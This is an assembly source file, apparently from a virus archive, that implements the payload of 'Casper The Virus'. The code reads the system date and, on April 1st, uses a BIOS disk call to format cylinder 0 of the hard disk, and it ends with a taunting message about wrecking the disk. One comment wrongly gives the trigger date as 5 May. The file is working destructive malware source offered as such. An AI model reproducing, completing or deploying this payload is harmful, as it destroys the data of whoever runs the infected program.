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Assembly Source File  |  1980-01-01  |  1.2 KB  |  33 lines
  1. ;****************************************************************************
  2. ;*
  3. ;*     UTILITY.ASM - Manipulation Task Code For Casper The Virus.         *
  4. ;*                                                                        *
  5. ;*     USAGE: Is automatically INCLUDED in the assembly of casper.asm     *
  6. ;*                                                                        *
  7. ;*     DETAILS: Date Activated Hard Disk Destroyer.                       *
  8. ;*              DATE: 1st April DAMAGE: Formats Cylinder 0 of HD.          *
  9. ;*                                                                        *
  10. ;**************************************************************************
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  16.         mov ah,2ah    ; DOS Get Date.
  17.         int 21h
  18.         cmp dx,0401h    ; 5th May.
  19.         jne utilend
  20.         mov ax,0515h    ;Format Cylinder, 15 Sectors.
  21.         mov ch,0    ;Cylinder 0.
  22.         mov dx,00    ;Head 0, Drive 80h.
  23.         mov es,dx    ;Junk for address marks.
  24.         mov bx,0    ;Junk....
  25.         int 13h        ;Do It!
  26.         int 20h        ;Exit
  27. utilend:    jmp entry3
  28.         db    "Hi! I'm Casper The Virus, And On April The 1st I'm "
  29.         db    "Gonna Fuck Up Your Hard Disk REAL BAD! "
  30.         db    "In Fact It Might Just Be Impossible To Recover! "
  31.         db    "How's That Grab Ya! <GRIN>"
  32. entry3:
  33.